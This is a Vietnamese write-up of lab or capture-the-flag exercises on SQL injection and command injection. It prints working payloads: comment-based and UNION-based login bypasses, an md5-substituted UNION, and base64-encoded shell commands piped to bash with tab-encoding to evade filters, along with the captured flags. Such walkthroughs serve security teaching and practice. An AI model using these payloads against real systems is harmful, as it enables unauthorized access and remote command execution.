# level 1:
Xem source

=> Nếu đăng nhập với username là `admin` thì sẽ nhận được flag.
Lệnh truy vấn của web:

Nhập username là `admin’-- ` để thoát khỏi nháy đơn và bỏ qua xác nhận mật khẩu; nhập mật khẩu bất kì. Như vậy ta có thể đăng nhập với tư cách admin với mật khẩu bất kì và lụm flag.

Flag: `CBJS{da6d016bf546bfd86b8808136ebc8bc0}`
# level 2:
Tương tự level 1, phải đăng nhập với tư cách admin để lấy flag:

Câu truy vấn:

Đăng nhập với tên user là `admin"-- ` để bỏ qua kiểm tra mật khẩu và nhập mật khẩu bất kì. Đăng nhập thành công và lấy Flag.

- Flag: `CBJS{f8ef24f0eebdfa5defdabc632f494f3e}`
# level 3:
Câu truy vấn:

Đăng nhập với user: `admin")-- ` để thoát khỏi lệnh LOWER và bỏ qua kiểm tra mật khẩu. Đăng nhập thành công và được flag:

- Flag: `CBJS{4f629fe490901e261258d977a47f96e1}`
# level 4:

Nhập username là `\` như vậy hàm Lower sẽ nối tiếp đến khi gặp dấu `\"` tiếp theo. Để đóng hàm Lower, password nhập vào sẽ bắt đầu bằng `)`, sau đó thêm một điều kiện luôn đúng `or 1=1`. Vậy password nhập vào là: `) or 1=1-- `

# level 5:
Để đăng nhập bài, pass nhập vào phải giống pass mà câu truy vấn trả về.

Vậy ta sẽ dùng lệnh Union thực hiện thêm một câu truy vấn để trả về một kết quả chứa username là 'admin' và password mình mong muốn (ví dụ password là 'a').
Câu truy vấn:

Đăng nhập với username:
`' Union Select username, 'a' From users Where username = 'admin'-- `
và password là `a`.

=> Sai mật khẩu do pass trong database được mã hóa md5. Mã hóa "a" thành "0cc175b9c0f1b6a831c399e269772661" và thay vào lệnh Union thì đăng nhập thành công:

- Flag: `CBJS{3fa996e38acc675ae51fef858dc35eb3}`
# level 6:

Xem câu query ta thấy biến $id không nằm trong dấu nháy nên có thể thêm lệnh Union bình thường để kiểm tra phiên bản SQL:
`id=5 Union Select @@version --- `
Do kết quả truy vấn chỉ lấy kết quả đầu tiên

nên chọn một id không tồn tại là 5 để kết quả trả về là rỗng và lấy kết quả của lệnh ta thêm vào.

# Lab 4in1
## level 1
Xem source ta thấy ở type `figlet` có thể khai thác lỗi qua biến `username`

Level này addslashes nên không được dùng các kí tự `'`, `"`, `/` trong input. Vậy ta sẽ dùng `command` để thực thi command.
Dùng `ls /` để tìm file chứa flag, ta tìm thấy file secret_file.

Sau đó nhập `cat /secret_file` để xem flag.

- Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`
## level 2
Tương tự như level 1, Dùng `ls /` để tìm file chứa flag.
Để đọc file flag, ta dùng lệnh `cat /secret_file`. Tuy nhiên, bài này chỉ lấy 10 kí tự từ input

Mà do trong thư mục / chỉ có 1 file là file chứa flag nên ta có thể dùng lệnh `cat /*` để đọc file và lấy flag.

- Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`
## level 3
`

- Theo thứ tự bảng mã ascii, level này lọc các kí tự từ `space` đến `)` và kí tự `/`.

Encode base64 lệnh `ls /` và dùng `%09` thay cho space để bypass filter và xem thư mục gốc.
=> Input: ```
`echo%09bHMgLw==|base64%09-d|bash`
```

Lại là secret_file. Để xem lấy được flag, thay đoạn mã base64 của lệnh `ls /` bằng base64 của lệnh `cat /secret_file`.
=> Input:
`echo%09Y2F0IC9zZWNyZXRfZmlsZQ==|base64%09-d|bash`

- Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`